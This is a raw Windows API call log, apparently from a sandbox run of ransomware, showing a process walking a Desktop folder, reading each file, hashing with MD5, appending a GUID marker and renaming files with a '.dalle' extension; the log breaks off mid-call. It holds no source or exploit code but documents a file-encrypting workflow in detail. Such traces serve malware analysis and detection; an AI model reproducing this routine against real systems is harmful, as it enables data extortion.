[0119.971] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0119.972] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0119.972] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.972] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0119.972] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0119.972] GetLastError () returned 0x0 [0119.972] SetLastError (dwErrCode=0x0) [0119.972] GetLastError () returned 0x0 [0119.972] SetLastError (dwErrCode=0x0) [0119.972] GetLastError () returned 0x0 [0119.972] SetLastError (dwErrCode=0x0) [0119.972] GetLastError () returned 0x0 [0119.972] SetLastError (dwErrCode=0x0) [0119.972] GetLastError () returned 0x0 [0119.972] SetLastError (dwErrCode=0x0) [0119.972] GetLastError () returned 0x0 [0119.972] SetLastError (dwErrCode=0x0) [0119.972] GetLastError () returned 0x0 [0119.972] SetLastError (dwErrCode=0x0) [0119.972] GetLastError () returned 0x0 [0119.972] SetLastError (dwErrCode=0x0) [0119.972] GetLastError () returned 0x0 [0119.972] SetLastError (dwErrCode=0x0) [0119.972] GetLastError () returned 0x0 [0119.972] SetLastError (dwErrCode=0x0) [0119.972] GetLastError () returned 0x0 [0119.972] SetLastError (dwErrCode=0x0) [0119.972] GetLastError () returned 0x0 [0119.973] SetLastError (dwErrCode=0x0) [0119.973] GetLastError () returned 0x0 [0119.973] SetLastError (dwErrCode=0x0) [0119.973] GetLastError () returned 0x0 [0119.973] SetLastError (dwErrCode=0x0) [0119.973] GetLastError () returned 0x0 [0119.973] SetLastError (dwErrCode=0x0) [0119.973] GetLastError () returned 0x0 [0119.973] SetLastError (dwErrCode=0x0) [0119.973] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0119.973] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0119.974] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11a4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.974] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.974] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.974] CloseHandle (hObject=0x618) returned 1 [0119.975] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2-_K6lTtjSYNHLM8.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2-_k6lttjsynhlm8.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2-_K6lTtjSYNHLM8.doc.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2-_k6lttjsynhlm8.doc.dalle")) returned 1 [0119.977] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9156f80, ftCreationTime.dwHighDateTime=0x1d52ab3, ftLastAccessTime.dwLowDateTime=0xb9156f80, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xb74bac00, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x83600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="370E.tmp.exe", cAlternateFileName="370ETM~1.EXE")) returned 1 [0119.977] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe") returned=".exe" [0119.977] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\370e.tmp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0119.977] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=538112) returned 1 [0119.977] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0119.979] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x835da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.979] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.980] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.980] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x25805, lpOverlapped=0x0) returned 1 [0119.982] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.982] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.982] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.982] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0119.983] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0119.983] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.983] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0119.983] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0119.983] GetLastError () returned 0x0 [0119.983] SetLastError (dwErrCode=0x0) [0119.983] GetLastError () returned 0x0 [0119.983] SetLastError (dwErrCode=0x0) [0119.983] GetLastError () returned 0x0 [0119.983] SetLastError (dwErrCode=0x0) [0119.983] GetLastError () returned 0x0 [0119.983] SetLastError (dwErrCode=0x0) [0119.984] GetLastError () returned 0x0 [0119.984] SetLastError (dwErrCode=0x0) [0119.984] GetLastError () returned 0x0 [0119.984] SetLastError (dwErrCode=0x0) [0119.984] GetLastError () returned 0x0 [0119.984] SetLastError (dwErrCode=0x0) [0119.984] GetLastError () returned 0x0 [0119.984] SetLastError (dwErrCode=0x0) [0119.984] GetLastError () returned 0x0 [0119.984] SetLastError (dwErrCode=0x0) [0119.984] GetLastError () returned 0x0 [0119.984] SetLastError (dwErrCode=0x0) [0119.984] GetLastError () returned 0x0 [0119.984] SetLastError (dwErrCode=0x0) [0119.984] GetLastError () returned 0x0 [0119.984] SetLastError (dwErrCode=0x0) [0119.984] GetLastError () returned 0x0 [0119.984] SetLastError (dwErrCode=0x0) [0119.984] GetLastError () returned 0x0 [0119.984] SetLastError (dwErrCode=0x0) [0119.984] GetLastError () returned 0x0 [0119.984] SetLastError (dwErrCode=0x0) [0119.984] GetLastError () returned 0x0 [0119.984] SetLastError (dwErrCode=0x0) [0119.984] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0119.984] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0119.986] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x83600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.986] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.986] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.986] CloseHandle (hObject=0x618) returned 1 [0119.994] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\370e.tmp.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\370e.tmp.exe.dalle")) returned 1 [0119.995] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20a48fb0, ftCreationTime.dwHighDateTime=0x1d4ca5a, ftLastAccessTime.dwLowDateTime=0x4fa2530, ftLastAccessTime.dwHighDateTime=0x1d4ca6f, ftLastWriteTime.dwLowDateTime=0x4fa2530, ftLastWriteTime.dwHighDateTime=0x1d4ca6f, nFileSizeHigh=0x0, nFileSizeLow=0x10eaf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7i-hclJt.ppt", cAlternateFileName="")) returned 1 [0119.995] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7i-hclJt.ppt") returned=".ppt" [0119.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7i-hclJt.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7i-hcljt.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0119.995] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=69295) returned 1 [0119.996] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0119.997] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10e89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.997] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.999] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x10eaf, lpOverlapped=0x0) returned 1 [0120.000] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.000] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.000] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.000] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.000] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.000] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.001] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.001] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.001] GetLastError () returned 0x0 [0120.001] SetLastError (dwErrCode=0x0) [0120.001] GetLastError () returned 0x0 [0120.001] SetLastError (dwErrCode=0x0) [0120.001] GetLastError () returned 0x0 [0120.001] SetLastError (dwErrCode=0x0) [0120.001] GetLastError () returned 0x0 [0120.001] SetLastError (dwErrCode=0x0) [0120.001] GetLastError () returned 0x0 [0120.001] SetLastError (dwErrCode=0x0) [0120.001] GetLastError () returned 0x0 [0120.001] SetLastError (dwErrCode=0x0) [0120.001] GetLastError () returned 0x0 [0120.001] SetLastError (dwErrCode=0x0) [0120.001] GetLastError () returned 0x0 [0120.001] SetLastError (dwErrCode=0x0) [0120.001] GetLastError () returned 0x0 [0120.001] SetLastError (dwErrCode=0x0) [0120.001] GetLastError () returned 0x0 [0120.001] SetLastError (dwErrCode=0x0) [0120.001] GetLastError () returned 0x0 [0120.001] SetLastError (dwErrCode=0x0) [0120.001] GetLastError () returned 0x0 [0120.001] SetLastError (dwErrCode=0x0) [0120.001] GetLastError () returned 0x0 [0120.001] SetLastError (dwErrCode=0x0) [0120.001] GetLastError () returned 0x0 [0120.002] SetLastError (dwErrCode=0x0) [0120.002] GetLastError () returned 0x0 [0120.002] SetLastError (dwErrCode=0x0) [0120.002] GetLastError () returned 0x0 [0120.002] SetLastError (dwErrCode=0x0) [0120.002] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.002] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.003] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10eaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.003] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.003] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.003] CloseHandle (hObject=0x618) returned 1 [0120.004] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7i-hclJt.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7i-hcljt.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7i-hclJt.ppt.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7i-hcljt.ppt.dalle")) returned 1 [0120.006] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6393c0d0, ftCreationTime.dwHighDateTime=0x1d4cced, ftLastAccessTime.dwLowDateTime=0xc9c38370, ftLastAccessTime.dwHighDateTime=0x1d4ce0c, ftLastWriteTime.dwLowDateTime=0xc9c38370, ftLastWriteTime.dwHighDateTime=0x1d4ce0c, nFileSizeHigh=0x0, nFileSizeLow=0x69e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7o_dfQXVcSB.bmp", cAlternateFileName="7O_DFQ~1.BMP")) returned 1 [0120.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7o_dfQXVcSB.bmp") returned=".bmp" [0120.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7o_dfQXVcSB.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7o_dfqxvcsb.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.006] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=27110) returned 1 [0120.006] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.008] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x69c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.008] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.008] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x69e6, lpOverlapped=0x0) returned 1 [0120.009] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.009] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.009] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.009] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.009] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.010] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.010] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.010] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.010] GetLastError () returned 0x0 [0120.010] SetLastError (dwErrCode=0x0) [0120.010] GetLastError () returned 0x0 [0120.010] SetLastError (dwErrCode=0x0) [0120.010] GetLastError () returned 0x0 [0120.010] SetLastError (dwErrCode=0x0) [0120.010] GetLastError () returned 0x0 [0120.010] SetLastError (dwErrCode=0x0) [0120.010] GetLastError () returned 0x0 [0120.010] SetLastError (dwErrCode=0x0) [0120.010] GetLastError () returned 0x0 [0120.010] SetLastError (dwErrCode=0x0) [0120.010] GetLastError () returned 0x0 [0120.010] SetLastError (dwErrCode=0x0) [0120.010] GetLastError () returned 0x0 [0120.010] SetLastError (dwErrCode=0x0) [0120.010] GetLastError () returned 0x0 [0120.010] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.010] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.011] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x69e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.011] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.011] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.011] CloseHandle (hObject=0x618) returned 1 [0120.012] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7o_dfQXVcSB.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7o_dfqxvcsb.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7o_dfQXVcSB.bmp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7o_dfqxvcsb.bmp.dalle")) returned 1 [0120.013] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ec4660, ftCreationTime.dwHighDateTime=0x1d4d593, ftLastAccessTime.dwLowDateTime=0xe365e630, ftLastAccessTime.dwHighDateTime=0x1d4cfea, ftLastWriteTime.dwLowDateTime=0xe365e630, ftLastWriteTime.dwHighDateTime=0x1d4cfea, nFileSizeHigh=0x0, nFileSizeLow=0x9b89, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CPqgEkvnaFdq_y.gif", cAlternateFileName="CPQGEK~1.GIF")) returned 1 [0120.013] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CPqgEkvnaFdq_y.gif") returned=".gif" [0120.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CPqgEkvnaFdq_y.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cpqgekvnafdq_y.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.014] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=39817) returned 1 [0120.014] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.015] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9b63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.016] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.016] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x9b89, lpOverlapped=0x0) returned 1 [0120.017] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.017] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.017] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.017] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0120.017] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.017] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.017] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.017] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.017] GetLastError () returned 0x0 [0120.018] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.018] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0120.018] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9b89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.018] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.018] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.018] CloseHandle (hObject=0x618) returned 1 [0120.019] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CPqgEkvnaFdq_y.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cpqgekvnafdq_y.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CPqgEkvnaFdq_y.gif.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cpqgekvnafdq_y.gif.dalle")) returned 1 [0120.020] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.020] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned=".ini" [0120.020] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbe380, ftCreationTime.dwHighDateTime=0x1d4cfed, ftLastAccessTime.dwLowDateTime=0x6b0b6250, ftLastAccessTime.dwHighDateTime=0x1d4d07b, ftLastWriteTime.dwLowDateTime=0x6b0b6250, ftLastWriteTime.dwHighDateTime=0x1d4d07b, nFileSizeHigh=0x0, nFileSizeLow=0x9a3b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D_F4Y77Iv__EabK.m4a", cAlternateFileName="D_F4Y7~1.M4A")) returned 1 [0120.020] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D_F4Y77Iv__EabK.m4a") returned=".m4a" [0120.020] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D_F4Y77Iv__EabK.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d_f4y77iv__eabk.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.021] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=39483) returned 1 [0120.021] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.022] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9a15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.022] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.024] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x9a3b, lpOverlapped=0x0) returned 1 [0120.025] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.025] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.025] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.025] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0120.026] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.026] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.026] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, 